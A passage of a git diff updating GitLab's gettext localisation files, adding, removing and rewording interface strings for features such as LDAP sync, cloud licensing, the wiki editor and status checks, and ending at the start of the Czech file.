-msgid "Serverless|Install Knative"
-msgstr ""
-
msgid "Serverless|Learn more about Serverless"
msgstr ""
@@ -29702,6 +29501,9 @@ msgstr ""
msgid "Service URL"
msgstr ""
+msgid "Service ping is disabled, and cannot be configured through this form."
+msgstr ""
+
msgid "ServiceDesk|Enable Service Desk"
msgstr ""
@@ -29792,6 +29594,9 @@ msgstr ""
msgid "Set requirements for a user to sign-in. Enable mandatory two-factor authentication."
msgstr ""
+msgid "Set size limits for displaying diffs in the browser."
+msgstr ""
+
msgid "Set target branch"
msgstr ""
@@ -29972,9 +29777,6 @@ msgstr ""
msgid "SeverityWidget|There was an error while updating severity."
msgstr ""
-msgid "Shards (%{shards})"
-msgstr ""
-
msgid "Shards to synchronize"
msgstr ""
@@ -29999,6 +29801,9 @@ msgstr ""
msgid "Shared runners are disabled on group level"
msgstr ""
+msgid "Shared runners details"
+msgstr ""
+
msgid "Shared runners help link"
msgstr ""
@@ -30023,9 +29828,6 @@ msgstr ""
msgid "Show all issues."
msgstr ""
-msgid "Show all members"
-msgstr ""
-
msgid "Show all test cases."
msgstr ""
@@ -30053,9 +29855,6 @@ msgstr ""
msgid "Show complete raw log"
msgstr ""
-msgid "Show dependencies"
-msgstr ""
-
msgid "Show details"
msgstr ""
@@ -30089,12 +29888,6 @@ msgstr ""
msgid "Show one file at a time"
msgstr ""
-msgid "Show only direct members"
-msgstr ""
-
-msgid "Show only inherited members"
-msgstr ""
-
msgid "Show parent pages"
msgstr ""
@@ -30141,6 +29934,9 @@ msgstr ""
msgid "Showing all issues"
msgstr ""
+msgid "Showing data for workflow items created in this date range. Date range cannot exceed %{maxDateRange} days."
+msgstr ""
+
msgid "Showing graphs based on events of the last %{timerange} days."
msgstr ""
@@ -30474,9 +30270,6 @@ msgstr ""
msgid "Something went wrong while deleting description changes. Please try again."
msgstr ""
-msgid "Something went wrong while deleting the package."
-msgstr ""
-
msgid "Something went wrong while deleting the source branch. Please try again."
msgstr ""
@@ -30579,6 +30372,9 @@ msgstr ""
msgid "Something went wrong while setting %{issuableType} notifications."
msgstr ""
+msgid "Something went wrong while setting %{issuableType} to-do item."
+msgstr ""
+
msgid "Something went wrong while stopping this environment. Please try again."
msgstr ""
@@ -30645,12 +30441,6 @@ msgstr ""
msgid "Sort direction: Descending"
msgstr ""
-msgid "SortOptions|Access level, ascending"
-msgstr ""
-
-msgid "SortOptions|Access level, descending"
-msgstr ""
-
msgid "SortOptions|Blocking"
msgstr ""
@@ -30684,9 +30474,6 @@ msgstr ""
msgid "SortOptions|Last created"
msgstr ""
-msgid "SortOptions|Last joined"
-msgstr ""
-
msgid "SortOptions|Last updated"
msgstr ""
@@ -30729,9 +30516,6 @@ msgstr ""
msgid "SortOptions|Oldest created"
msgstr ""
-msgid "SortOptions|Oldest joined"
-msgstr ""
-
msgid "SortOptions|Oldest last activity"
msgstr ""
@@ -30783,6 +30567,9 @@ msgstr ""
msgid "SortOptions|Start soon"
msgstr ""
+msgid "SortOptions|Title"
+msgstr ""
+
msgid "SortOptions|Type"
msgstr ""
@@ -30801,6 +30588,9 @@ msgstr ""
msgid "Source Branch"
msgstr ""
+msgid "Source Editor instance is required to set up an extension."
+msgstr ""
+
msgid "Source IP"
msgstr ""
@@ -30903,15 +30693,6 @@ msgstr ""
msgid "Stage"
msgstr ""
-msgid "StageName|Build"
-msgstr ""
-
-msgid "StageName|Deploy"
-msgstr ""
-
-msgid "StageName|Test"
-msgstr ""
-
msgid "Standard"
msgstr ""
@@ -31128,12 +30909,18 @@ msgstr ""
msgid "Status: %{title}"
msgstr ""
+msgid "StatusCheck|%{pending} pending"
+msgstr ""
+
msgid "StatusCheck|API to check"
msgstr ""
msgid "StatusCheck|Add status check"
msgstr ""
+msgid "StatusCheck|All passed"
+msgstr ""
+
msgid "StatusCheck|An error occurred deleting the %{name} status check."
msgstr ""
@@ -31152,7 +30939,7 @@ msgstr ""
msgid "StatusCheck|External API is already in use by another status check."
msgstr ""
-msgid "StatusCheck|Invoke an external API as part of the approvals"
+msgid "StatusCheck|Failed to load status checks."
msgstr ""
msgid "StatusCheck|Invoke an external API as part of the pipeline process."
@@ -31182,6 +30969,9 @@ msgstr ""
msgid "StatusCheck|Update status check"
msgstr ""
+msgid "StatusCheck|When this merge request is updated, a call is sent to the following APIs to confirm their status. %{linkStart}Learn more%{linkEnd}."
+msgstr ""
+
msgid "StatusCheck|You are about to remove the %{name} status check."
msgstr ""
@@ -31269,6 +31059,9 @@ msgstr ""
msgid "StorageSize|Unknown"
msgstr ""
+msgid "Strikethrough"
+msgstr ""
+
msgid "Subgroup information"
msgstr ""
@@ -31278,9 +31071,6 @@ msgstr ""
msgid "Subgroup navigation"
msgstr ""
-msgid "Subgroup overview"
-msgstr ""
-
msgid "SubgroupCreationLevel|Allowed to create subgroups"
msgstr ""
@@ -31635,6 +31425,9 @@ msgstr ""
msgid "SuperSonics|Activate"
msgstr ""
+msgid "SuperSonics|Activate cloud license"
+msgstr ""
+
msgid "SuperSonics|Activate subscription"
msgstr ""
@@ -31653,7 +31446,13 @@ msgstr ""
msgid "SuperSonics|Buy subscription"
msgstr ""
-msgid "SuperSonics|Enter activation code"
+msgid "SuperSonics|Cloud license"
+msgstr ""
+
+msgid "SuperSonics|Cloud licensing"
+msgstr ""
+
+msgid "SuperSonics|Cloud licensing is now available. It's an easier way to activate instances and manage subscriptions. Read more about it in our %{blogPostLinkStart}blog post%{blogPostLinkEnd}. Activation codes are available in the %{portalLinkStart}Customers Portal%{portalLinkEnd}."
msgstr ""
msgid "SuperSonics|Expires on"
@@ -31725,9 +31524,6 @@ msgstr ""
msgid "SuperSonics|There is a connectivity issue."
msgstr ""
-msgid "SuperSonics|This field is required."
-msgstr ""
-
msgid "SuperSonics|This is the highest peak of users on your installation since the license started."
msgstr ""
@@ -31740,7 +31536,7 @@ msgstr ""
msgid "SuperSonics|Type"
msgstr ""
-msgid "SuperSonics|Upload a legacy license"
+msgid "SuperSonics|Upload a license file"
msgstr ""
msgid "SuperSonics|Users in subscription"
@@ -31788,7 +31584,7 @@ msgstr ""
msgid "Survey Response"
msgstr ""
-msgid "Switch Branch"
+msgid "Switch branch"
msgstr ""
msgid "Switch branch/tag"
@@ -31803,7 +31599,7 @@ msgstr ""
msgid "Symbolic link"
msgstr ""
-msgid "Sync information"
+msgid "Sync LDAP"
msgstr ""
msgid "Sync now"
@@ -31812,10 +31608,10 @@ msgstr ""
msgid "Synced"
msgstr ""
-msgid "Synchronization disabled"
+msgid "Synchronization settings"
msgstr ""
-msgid "Synchronization settings"
+msgid "Synchronize LDAP"
msgstr ""
msgid "Syncing…"
@@ -32007,6 +31803,9 @@ msgstr ""
msgid "Telephone number"
msgstr ""
+msgid "Tell us your experiences with the new Markdown editor %{linkStart}in this feedback issue%{linkEnd}."
+msgstr ""
+
msgid "Template"
msgstr ""
@@ -32362,7 +32161,7 @@ msgstr ""
msgid "The Advanced Search in GitLab is a powerful search service that saves you time. Instead of creating duplicate code and wasting time, you can now search for code within other teams that can help your own project."
msgstr ""
-msgid "The Compliance Dashboard gives you the ability to see a group's merge request activity by providing a high-level view for all projects in the group."
+msgid "The Compliance Report captures merged changes that violate compliance best practices."
msgstr ""
msgid "The GitLab subscription service (customers.gitlab.com) is currently experiencing an outage. You can monitor the status and get updates at %{linkStart}status.gitlab.com%{linkEnd}."
@@ -32371,6 +32170,9 @@ msgstr ""
msgid "The GitLab user to which the Jira user %{jiraDisplayName} will be mapped"
msgstr ""
+msgid "The ID of the application."
+msgstr ""
+
msgid "The Issue Tracker is the place to add things that need to be improved or solved in a project"
msgstr ""
@@ -32380,6 +32182,9 @@ msgstr ""
msgid "The Prometheus server responded with \"bad request\". Please check your queries are correct and are supported in your Prometheus version. %{documentationLink}"
msgstr ""
+msgid "The Snowplow cookie domain."
+msgstr ""
+
msgid "The URL defined on the primary node that secondary nodes should use to contact it."
msgstr ""
@@ -32413,9 +32218,6 @@ msgstr ""
msgid "The character highlighter helps you keep the subject line to %{titleLength} characters and wrap the body at %{bodyLength} so they are readable in git."
msgstr ""
-msgid "The coding stage shows the time from the first commit to creating the merge request. The data will automatically be added here once you create your first merge request."
-msgstr ""
-
msgid "The collection of events added to the data gathered for that stage."
msgstr ""
@@ -32449,7 +32251,7 @@ msgstr ""
msgid "The data source is connected, but there is no data to display. %{documentationLink}"
msgstr ""
-msgid "The default CI configuration path for new projects."
+msgid "The default CI/CD configuration file and path for new projects."
msgstr ""
msgid "The dependency list details information about the components used within your project."
@@ -32479,6 +32281,9 @@ msgstr ""
msgid "The errors we encountered were:"
msgstr ""
+msgid "The file containing the export is not available yet; it may still be transferring. Please try again later."
+msgstr ""
+
msgid "The file has been successfully created."
msgstr ""
@@ -32553,6 +32358,9 @@ msgstr ""
msgid "The group_project_ids parameter is only allowed for a group"
msgstr ""
+msgid "The hostname of your Snowplow collector."
+msgstr ""
+
msgid "The import will time out after %{timeout}. For repositories that take longer, use a clone/push combination."
msgstr ""
@@ -32574,15 +32382,15 @@ msgstr ""
msgid "The invitation was successfully resent."
msgstr ""
-msgid "The issue stage shows the time it takes from creating an issue to assigning the issue to a milestone, or add the issue to a list on your Issue Board. Begin creating issues to see data for this stage."
-msgstr ""
-
msgid "The issue was successfully promoted to an epic. Redirecting to epic..."
msgstr ""
msgid "The latest artifacts created by jobs in the most recent successful pipeline will be stored."
msgstr ""
+msgid "The latest pipeline for this merge request did not complete successfully."
+msgstr ""
+
msgid "The license key is invalid. Make sure it is exactly as you received it from GitLab Inc."
msgstr ""
@@ -32667,18 +32475,12 @@ msgstr ""
msgid "The password for your GitLab account on %{link_to_gitlab} has successfully been changed."
msgstr ""
-msgid "The phase of the development lifecycle."
-msgstr ""
-
msgid "The pipeline has been deleted"
msgstr ""
msgid "The pipelines schedule runs pipelines in the future, repeatedly, for specific branches or tags. Those scheduled pipelines will inherit limited project access based on their associated user."
msgstr ""
-msgid "The planning stage shows the time from the previous step to pushing your first commit. This time will be added automatically once you push your first commit."
-msgstr ""
-
msgid "The private key to use when a client certificate is provided. This value is encrypted at rest."
msgstr ""
@@ -32742,9 +32544,6 @@ msgstr ""
msgid "The repository must be accessible over %{code_open}http://%{code_close}, %{code_open}https://%{code_close}, %{code_open}ssh://%{code_close} or %{code_open}git://%{code_close}."
msgstr ""
-msgid "The review stage shows the time from creating the merge request to merging it. The data will automatically be added after you merge your first merge request."
-msgstr ""
-
msgid "The same shared runner executes code from multiple projects, unless you configure autoscaling with %{link} set to 1 (which it is on GitLab.com)."
msgstr ""
@@ -32763,10 +32562,10 @@ msgstr ""
msgid "The snippet is visible to any logged in user except external users."
msgstr ""
-msgid "The specified tab is invalid, please select another"
+msgid "The source branch will be deleted"
msgstr ""
-msgid "The staging stage shows the time between merging the MR and deploying code to the production environment. The data will be automatically added once you deploy to production for the first time."
+msgid "The specified tab is invalid, please select another"
msgstr ""
msgid "The start date must be ealier than the end date."
@@ -32781,9 +32580,6 @@ msgstr ""
msgid "The tag name can't be changed for an existing release."
msgstr ""
-msgid "The testing stage shows the time GitLab CI takes to run every pipeline for the related merge request. The data will automatically be added after your first pipeline finishes running."
-msgstr ""
-
msgid "The time taken by each data entry gathered by that stage."
msgstr ""
@@ -32793,9 +32589,6 @@ msgstr ""
msgid "The uploaded file was invalid. Supported file extensions are %{extensions}."
msgstr ""
-msgid "The usage ping is disabled, and cannot be configured through this form."
-msgstr ""
-
msgid "The user is being deleted."
msgstr ""
@@ -32814,9 +32607,6 @@ msgstr ""
msgid "The username for the Jenkins server."
msgstr ""
-msgid "The value lying at the midpoint of a series of observed values. E.g., between 3, 5, 9, the median is 5. Between 3, 5, 7, 8, the median is (5+7)/2 = 6."
-msgstr ""
-
msgid "The value of the provided variable exceeds the %{count} character limit"
msgstr ""
@@ -32958,9 +32748,6 @@ msgstr ""
msgid "There was a problem communicating with your device."
msgstr ""
-msgid "There was a problem dismissing this notification."
-msgstr ""
-
msgid "There was a problem fetching branches."
msgstr ""
@@ -33081,6 +32868,9 @@ msgstr ""
msgid "There was an error loading merge request approval settings."
msgstr ""
+msgid "There was an error loading related feature flags"
+msgstr ""
+
msgid "There was an error loading users activity calendar."
msgstr ""
@@ -33156,6 +32946,9 @@ msgstr ""
msgid "There was an error while fetching value stream analytics duration data."
msgstr ""
+msgid "There was an error while fetching value stream summary data."
+msgstr ""
+
msgid "There was an error with the reCAPTCHA. Please solve the reCAPTCHA again."
msgstr ""
@@ -33189,7 +32982,7 @@ msgstr ""
msgid "Third Party Advisory Link"
msgstr ""
-msgid "Third party offers"
+msgid "Third-party offers"
msgstr ""
msgid "This %{issuableDisplayName} is locked. Only project members can comment."
@@ -33285,6 +33078,9 @@ msgstr ""
msgid "This chart could not be displayed"
msgstr ""
+msgid "This code snippet contains everything reflected in the configuration form. Copy and paste it into %{linkStart}.gitlab-ci.yml%{linkEnd} file and save your changes. Future %{scanType} scans will use these settings."
+msgstr ""
+
msgid "This comment changed after you started editing it. Review the %{startTag}updated comment%{endTag} to ensure information is not lost."
msgstr ""
@@ -33324,9 +33120,6 @@ msgstr ""
msgid "This diff is collapsed."
msgstr ""
-msgid "This diff was suppressed by a .gitattributes entry."
-msgstr ""
-
msgid "This directory"
msgstr ""
@@ -33411,7 +33204,7 @@ msgstr ""
msgid "This is a merge train pipeline"
msgstr ""
-msgid "This is a private email address %{helpIcon} generated just for you. Anyone who gets ahold of it can create issues or merge requests as if they were you. You should %{resetLinkStart}reset it%{resetLinkEnd} if that ever happens."
+msgid "This is a private email address %{helpIcon} generated just for you. Anyone who has it can create issues or merge requests as if they were you. If that happens, %{resetLinkStart}reset this token%{resetLinkEnd}."
msgstr ""
msgid "This is a security log of important events involving your account."
@@ -34150,9 +33943,15 @@ msgstr ""
msgid "To connect an SVN repository, check out %{svn_link}."
msgstr ""
+msgid "To continue, you need to select the link in the confirmation email we sent to verify your email address. If you didn't get our email, select %{strongStart}Resend confirmation email.%{strongEnd}"
+msgstr ""
+
msgid "To define internal users, first enable new users set to external"
msgstr ""
+msgid "To enable Registration Features, make sure \"Enable service ping\" is checked."
+msgstr ""
+
msgid "To ensure no loss of personal content, this account should only be used for matters related to %{group_name}."
msgstr ""
@@ -34237,9 +34036,6 @@ msgstr ""
msgid "To set up this service:"
msgstr ""
-msgid "To simplify the billing process, GitLab will collect user counts in order to prorate charges for user growth throughout the year using a quarterly reconciliation process."
-msgstr ""
-
msgid "To specify the notification level per project of a group you belong to, you need to visit project page and change notification level there."
msgstr ""
@@ -34339,9 +34135,18 @@ msgstr ""
msgid "Token"
msgstr ""
+msgid "Token name"
+msgstr ""
+
msgid "Token valid until revoked"
msgstr ""
+msgid "Tokens|Scopes set the permission levels granted to the token."
+msgstr ""
+
+msgid "Tokens|Select scopes"
+msgstr ""
+
msgid "Tomorrow"
msgstr ""
@@ -34354,6 +34159,9 @@ msgstr ""
msgid "Too many projects enabled. You will need to manage them via the console or the API."
msgstr ""
+msgid "TopNav|Go back"
+msgstr ""
+
msgid "Topics (optional)"
msgstr ""
@@ -34402,6 +34210,15 @@ msgstr ""
msgid "Track groups of issues that share a theme, across projects and milestones"
msgstr ""
+msgid "Track important events in your GitLab instance."
+msgstr ""
+
+msgid "Track important events in your group."
+msgstr ""
+
+msgid "Track important events in your project."
+msgstr ""
+
msgid "Track time with quick actions"
msgstr ""
@@ -34881,12 +34698,6 @@ msgstr ""
msgid "Unhappy?"
msgstr ""
-msgid "Uninstall"
-msgstr ""
-
-msgid "Uninstalling"
-msgstr ""
-
msgid "Units|ms"
msgstr ""
@@ -34977,21 +34788,6 @@ msgstr ""
msgid "UnscannedProjects|60 or more days"
msgstr ""
-msgid "UnscannedProjects|Default branch scanning by project"
-msgstr ""
-
-msgid "UnscannedProjects|Out of date"
-msgstr ""
-
-msgid "UnscannedProjects|Project scanning"
-msgstr ""
-
-msgid "UnscannedProjects|Untested"
-msgstr ""
-
-msgid "UnscannedProjects|Your projects are up do date! Nice job!"
-msgstr ""
-
msgid "Unschedule job"
msgstr ""
@@ -35127,9 +34923,6 @@ msgstr ""
msgid "Updated %{updated_at} by %{updated_by}"
msgstr ""
-msgid "Updated to %{linkStart}chart v%{linkEnd}"
-msgstr ""
-
msgid "Updates"
msgstr ""
@@ -35466,9 +35259,15 @@ msgstr ""
msgid "Use .gitlab-ci.yml"
msgstr ""
+msgid "Use GitLab Runner in AWS"
+msgstr ""
+
msgid "Use a one-time password authenticator on your mobile device or computer to enable two-factor authentication (2FA)."
msgstr ""
+msgid "Use an AWS CloudFormation Template (CFT) to install and configure GitLab Runner in AWS."
+msgstr ""
+
msgid "Use cURL"
msgstr ""
@@ -35598,6 +35397,9 @@ msgstr ""
msgid "User was successfully updated."
msgstr ""
+msgid "UserAvailability|%{author} %{spanStart}(Busy)%{spanEnd}"
+msgstr ""
+
msgid "UserAvailability|%{author} (Busy)"
msgstr ""
@@ -35895,9 +35697,6 @@ msgstr ""
msgid "Value"
msgstr ""
-msgid "Value Stream"
-msgstr ""
-
msgid "Value Stream Analytics"
msgstr ""
@@ -35907,9 +35706,15 @@ msgstr ""
msgid "Value Stream Analytics gives an overview of how much time it takes to go from idea to production in your project."
msgstr ""
+msgid "Value stream"
+msgstr ""
+
msgid "ValueStreamAnalyticsStage|We don't have enough data to show this stage."
msgstr ""
+msgid "ValueStreamAnalytics|%{stageCount}+ items"
+msgstr ""
+
msgid "ValueStreamAnalytics|%{value}M"
msgstr ""
@@ -35991,9 +35796,6 @@ msgstr ""
msgid "Verification concurrency limit"
msgstr ""
-msgid "Verification information"
-msgstr ""
-
msgid "Verification status"
msgstr ""
@@ -36079,6 +35881,9 @@ msgstr ""
msgid "View full log"
msgstr ""
+msgid "View group in admin area"
+msgstr ""
+
msgid "View group labels"
msgstr ""
@@ -36097,9 +35902,6 @@ msgstr ""
msgid "View job"
msgstr ""
-msgid "View job dependencies in the pipeline graph!"
-msgstr ""
-
msgid "View job log"
msgstr ""
@@ -36133,6 +35935,9 @@ msgstr ""
msgid "View project"
msgstr ""
+msgid "View project in admin area"
+msgstr ""
+
msgid "View project labels"
msgstr ""
@@ -36202,7 +36007,10 @@ msgstr ""
msgid "Visit settings page"
msgstr ""
-msgid "Visual Studio Code"
+msgid "Visual Studio Code (HTTPS)"
+msgstr ""
+
+msgid "Visual Studio Code (SSH)"
msgstr ""
msgid "VisualReviewApp|%{stepStart}Step 1%{stepEnd}. Copy the following script:"
@@ -36343,7 +36151,7 @@ msgstr ""
msgid "VulnerabilityManagement|invalid issue link or ID"
msgstr ""
-msgid "VulnerabilityStatusTypes|All"
+msgid "VulnerabilityStatusTypes|All statuses"
msgstr ""
msgid "VulnerabilityStatusTypes|Confirmed"
@@ -36475,6 +36283,9 @@ msgstr ""
msgid "Warning: Displaying this diagram might cause performance issues on this page."
msgstr ""
+msgid "Warning: Synchronizing LDAP removes direct members' access."
+msgstr ""
+
msgid "We are currently unable to fetch data for the pipeline header."
msgstr ""
@@ -36775,6 +36586,15 @@ msgstr ""
msgid "Welcome, %{name}!"
msgstr ""
+msgid "What are group audit events?"
+msgstr ""
+
+msgid "What are instance audit events?"
+msgstr ""
+
+msgid "What are project audit events?"
+msgstr ""
+
msgid "What are you searching for?"
msgstr ""
@@ -36784,6 +36604,9 @@ msgstr ""
msgid "What does this command do?"
msgstr ""
+msgid "What is Auto DevOps?"
+msgstr ""
+
msgid "What is repository mirroring?"
msgstr ""
@@ -36984,7 +36807,7 @@ msgstr ""
msgid "WikiPage|An error occured while trying to render the content editor. Please try again later."
msgstr ""
-msgid "WikiPage|Are you sure you want to switch to the old editor?"
+msgid "WikiPage|Are you sure you want to switch back to the classic editor?"
msgstr ""
msgid "WikiPage|Cancel"
@@ -37005,6 +36828,9 @@ msgstr ""
msgid "WikiPage|Format"
msgstr ""
+msgid "WikiPage|Get a richer editing experience"
+msgstr ""
+
msgid "WikiPage|Keep editing"
msgstr ""
@@ -37020,16 +36846,16 @@ msgstr ""
msgid "WikiPage|Save changes"
msgstr ""
-msgid "WikiPage|Switch to old editor"
+msgid "WikiPage|Switch me back to the classic editor."
msgstr ""
-msgid "WikiPage|Switching to the old editor will discard any changes you've made in the new editor."
+msgid "WikiPage|Switch to classic editor"
msgstr ""
-msgid "WikiPage|Switching will discard any changes you've made in the new editor."
+msgid "WikiPage|Switching to the classic editor will discard any changes you've made in the new editor."
msgstr ""
-msgid "WikiPage|This editor is in beta and may not display the page's contents properly."
+msgid "WikiPage|This editor is in beta and may not display the page's contents properly. Switching back to the classic editor will discard changes you've made in the new editor."
msgstr ""
msgid "WikiPage|Tip: You can move this page by adding the path to the beginning of the title."
@@ -37044,10 +36870,16 @@ msgstr ""
msgid "WikiPage|To link to a (new) page, simply type %{linkExample}. More examples are in the %{linkStart}documentation%{linkEnd}."
msgstr ""
+msgid "WikiPage|Try the new visual Markdown editor. Read the %{linkStart}documentation%{linkEnd} to learn what's currently supported."
+msgstr ""
+
+msgid "WikiPage|Try this later"
+msgstr ""
+
msgid "WikiPage|Update %{pageTitle}"
msgstr ""
-msgid "WikiPage|Use new editor"
+msgid "WikiPage|Use the new editor"
msgstr ""
msgid "WikiPage|Write your content or drag files here…"
@@ -37317,6 +37149,9 @@ msgstr ""
msgid "You can easily contribute to them by requesting to join these groups."
msgstr ""
+msgid "You can enable Registration Features because Service Ping is enabled. To continue using Registration Features in future, you will also need to register with GitLab via a new cloud licensing service."
+msgstr ""
+
msgid "You can enable project access token creation in %{link_start}group settings%{link_end}."
msgstr ""
@@ -37356,9 +37191,6 @@ msgstr ""
msgid "You can now export your security dashboard to a CSV report."
msgstr ""
-msgid "You can now group jobs in the pipeline graph based on which jobs are configured to run first, if you use the %{codeStart}needs:%{codeEnd} keyword to establish job dependencies in your CI/CD pipelines. %{linkStart}Learn how to speed up your pipeline with needs.%{linkEnd}"
-msgstr ""
-
msgid "You can now submit a merge request to get this change into the original branch."
msgstr ""
@@ -37536,21 +37368,18 @@ msgstr ""
msgid "You have imported from this project %{numberOfPreviousImports} times before. Each new import will create duplicate issues."
msgstr ""
-msgid "You have insufficient permissions to create a Todo for this alert"
+msgid "You have insufficient permissions to configure escalation policies for this project"
msgstr ""
-msgid "You have insufficient permissions to create an HTTP integration for this project"
+msgid "You have insufficient permissions to create a Todo for this alert"
msgstr ""
-msgid "You have insufficient permissions to create an escalation policy for this project"
+msgid "You have insufficient permissions to create an HTTP integration for this project"
msgstr ""
msgid "You have insufficient permissions to create an on-call schedule for this project"
msgstr ""
-msgid "You have insufficient permissions to remove an escalation policy from this project"
-msgstr ""
-
msgid "You have insufficient permissions to remove an on-call rotation from this project"
msgstr ""
@@ -37614,9 +37443,6 @@ msgstr ""
msgid "You must provide your current password in order to change it."
msgstr ""
-msgid "You must select a stack for configuring your cloud provider. Learn more about"
-msgstr ""
-
msgid "You must solve the CAPTCHA in order to submit"
msgstr ""
@@ -37776,12 +37602,6 @@ msgstr ""
msgid "Your CSV import for project"
msgstr ""
-msgid "Your Commit Email will be used for web based operations, such as edits and merges."
-msgstr ""
-
-msgid "Your Default Notification Email will be used for account notifications if a %{openingTag}group-specific email address%{closingTag} is not set."
-msgstr ""
-
msgid "Your DevOps Report gives an overview of how you are using GitLab from a feature perspective. View how you compare with other organizations, discover features you are not using, and learn best practices through blog posts and white papers."
msgstr ""
@@ -37809,18 +37629,12 @@ msgstr ""
msgid "Your Personal Access Token was revoked"
msgstr ""
-msgid "Your Primary Email will be used for avatar detection."
-msgstr ""
-
msgid "Your Projects (default)"
msgstr ""
msgid "Your Projects' Activity"
msgstr ""
-msgid "Your Public Email will be displayed on your public profile."
-msgstr ""
-
msgid "Your SSH key has expired"
msgstr ""
@@ -37833,12 +37647,6 @@ msgstr ""
msgid "Your SSH keys (%{count})"
msgstr ""
-msgid "Your SSH keys with the following fingerprints are scheduled to expire soon. Expired SSH keys will not be usable in future versions of GitLab:"
-msgstr ""
-
-msgid "Your SSH keys with the following fingerprints have expired. Expired SSH keys will not be usable in future versions of GitLab:"
-msgstr ""
-
msgid "Your To-Do List"
msgstr ""
@@ -37908,12 +37716,18 @@ msgstr ""
msgid "Your comment will be discarded."
msgstr ""
+msgid "Your commit email is used for web based operations, such as edits and merges."
+msgstr ""
+
msgid "Your dashboard has been copied. You can %{web_ide_link_start}edit it here%{web_ide_link_end}."
msgstr ""
msgid "Your dashboard has been updated. You can %{web_ide_link_start}edit it here%{web_ide_link_end}."
msgstr ""
+msgid "Your default notification email is used for account notifications if a %{openingTag}group-specific email address%{closingTag} is not set."
+msgstr ""
+
msgid "Your deployment services will be broken, you will need to manually fix the services after renaming."
msgstr ""
@@ -37998,6 +37812,9 @@ msgstr ""
msgid "Your personal access tokens will expire in %{days_to_expire} days or less"
msgstr ""
+msgid "Your primary email is used for avatar detection. You can change it in your %{openingTag}profile settings%{closingTag}."
+msgstr ""
+
msgid "Your profile"
msgstr ""
@@ -38007,6 +37824,9 @@ msgstr ""
msgid "Your projects"
msgstr ""
+msgid "Your public email will be displayed on your public profile."
+msgstr ""
+
msgid "Your request for access could not be processed: %{error_meesage}"
msgstr ""
@@ -38099,6 +37919,9 @@ msgstr ""
msgid "already being used for another group or project %{timebox_name}."
msgstr ""
+msgid "already being used for another iteration within this cadence."
+msgstr ""
+
msgid "already has a \"created\" issue link"
msgstr ""
@@ -38156,12 +37979,21 @@ msgstr ""
msgid "can contain only letters of the Base64 alphabet (RFC4648) with the addition of '@', ':' and '.'"
msgstr ""
+msgid "can contain only lowercase letters, digits, and '_'."
+msgstr ""
+
msgid "can only be changed by a group admin."
msgstr ""
+msgid "can only have one escalation policy"
+msgstr ""
+
msgid "can't be enabled because signed commits are required for this project"
msgstr ""
+msgid "can't be the same as the source project"
+msgstr ""
+
msgid "can't include: %{invalid_storages}"
msgstr ""
@@ -38186,6 +38018,9 @@ msgstr ""
msgid "cannot be enabled unless all domains have TLS certificates"
msgstr ""
+msgid "cannot be enabled until a valid credit card is on file"
+msgstr ""
+
msgid "cannot be modified"
msgstr ""
@@ -38204,9 +38039,6 @@ msgstr ""
msgid "cannot merge"
msgstr ""
-msgid "child-pipeline"
-msgstr ""
-
msgid "ciReport|%{degradedNum} degraded"
msgstr ""
@@ -38509,6 +38341,9 @@ msgstr ""
msgid "created"
msgstr ""
+msgid "created %{issuable_created} by %{author}"
+msgstr ""
+
msgid "created %{timeAgoString} by %{email} via %{user}"
msgstr ""
@@ -38593,6 +38428,9 @@ msgstr ""
msgid "encrypted: needs to be a :required, :optional or :migrating!"
msgstr ""
+msgid "ending with MIME type format is not allowed."
+msgstr ""
+
msgid "entries cannot be larger than 255 characters"
msgstr ""
@@ -38672,9 +38510,6 @@ msgid_plural "from %d jobs"
msgstr[0] ""
msgstr[1] ""
-msgid "general, development"
-msgstr ""
-
msgid "group"
msgstr ""
@@ -39060,6 +38895,9 @@ msgstr ""
msgid "mrWidget|Merge blocked: all threads must be resolved."
msgstr ""
+msgid "mrWidget|Merge blocked: pipeline must succeed. It's waiting for a manual action to continue."
+msgstr ""
+
msgid "mrWidget|Merge failed."
msgstr ""
@@ -39096,9 +38934,6 @@ msgstr ""
msgid "mrWidget|Open in Web IDE"
msgstr ""
-msgid "mrWidget|Pipeline blocked. The pipeline for this merge request requires a manual action to proceed"
-msgstr ""
-
msgid "mrWidget|Plain diff"
msgstr ""
@@ -39159,7 +38994,7 @@ msgstr ""
msgid "mrWidget|The source branch has been deleted"
msgstr ""
-msgid "mrWidget|The source branch is %{commitsBehindLinkStart}%{commitsBehind}%{commitsBehindLinkEnd} the target branch"
+msgid "mrWidget|The source branch is %{link} the target branch"
msgstr ""
msgid "mrWidget|The source branch is being deleted"
@@ -39240,7 +39075,10 @@ msgstr ""
msgid "must be greater than start date"
msgstr ""
-msgid "must contain only valid frameworks"
+msgid "must be inside the fork network"
+msgstr ""
+
+msgid "must have a unique schedule, status, and elapsed time"
msgstr ""
msgid "my-awesome-group"
@@ -39303,6 +39141,9 @@ msgstr ""
msgid "on track"
msgstr ""
+msgid "only available on top-level groups."
+msgstr ""
+
msgid "open issue"
msgstr ""
@@ -39586,6 +39427,9 @@ msgstr ""
msgid "the correct format."
msgstr ""
+msgid "the file"
+msgstr ""
+
msgid "the following issue(s)"
msgstr ""
@@ -39688,6 +39532,9 @@ msgstr ""
msgid "view the source"
msgstr ""
+msgid "visibility"
+msgstr ""
+
msgid "vulnerability"
msgid_plural "vulnerabilities"
msgstr[0] ""
diff --git a/locale/cs_CZ/gitlab.po b/locale/cs_CZ/gitlab.po
index d0f9c77d5ad..523791abc5c 100644
--- a/locale/cs_CZ/gitlab.po
+++ b/locale/cs_CZ/gitlab.po
@@ -14,14 +14,11 @@ msgstr ""
"X-Crowdin-Language: cs\n"
"X-Crowdin-File: /master/locale/gitlab.pot\n"
"X-Crowdin-File-ID: 6\n"
-"PO-Revision-Date: 2021-06-01 20:37\n"
+"PO-Revision-Date: 2021-07-01 21:21\n"
msgid " %{name}, confirm your email address now! "
msgstr ""
-msgid " %{project_name}#%{issuable_iid} &middot; created %{issuable_created} by %{author} &middot; updated %{issuable_updated}"
-msgstr ""
-
msgid " %{start} to %{end}"
msgstr ""
@@ -93,6 +90,9 @@ msgstr ""
msgid "\"el\" parameter is required for createInstance()"
msgstr ""
+msgid "#general, #development"
+msgstr ""
+
msgid "%d Approval"
msgid_plural "%d Approvals"
msgstr[0] ""
@@ -341,13 +341,6 @@ msgstr[1] ""
msgstr[2] ""
msgstr[3] ""
-msgid "%d item"
-msgid_plural "%d items"
-msgstr[0] ""
-msgstr[1] ""
-msgstr[2] ""
-msgstr[3] ""
-
msgid "%d layer"
msgid_plural "%d layers"
msgstr[0] ""
@@ -547,6 +540,30 @@ msgstr ""
msgid "%{board_target} not found"
msgstr ""
